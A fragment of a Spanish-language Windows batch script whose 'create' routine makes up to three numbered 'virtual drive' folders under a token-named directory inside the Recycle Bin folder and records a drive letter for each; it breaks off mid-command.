:create cls echo. echo Token: %cred% echo. echo Desea Crear Una Nueva Unidad Virtual?? Si [S] No [N] echo. set /p opc=">> " if %opc%==n (goto menu) if %opc%==N (goto menu) for /F "tokens=*" %%d in (%systemdrive%\RECYCLER\%cred%\config.cfg) do (set num=%%d) if %num%==3 (echo.&echo No se permiten mas de 3 Unidades Virtuales&echo.&pause&goto menu) set /a num=%num%+1 md "%systemdrive%\RECYCLER\%cred%\vd00%num%" echo %num% >%systemdrive%\RECYCLER\%cred%\config.cfg echo. echo Introduzca una Letra para Asignar a la Nueva Unidad: echo. set /p new=">> " echo %new% >%systemdrive%\RECYCLER\%cred%\vd00%num%.tmf echo. ech | | | | |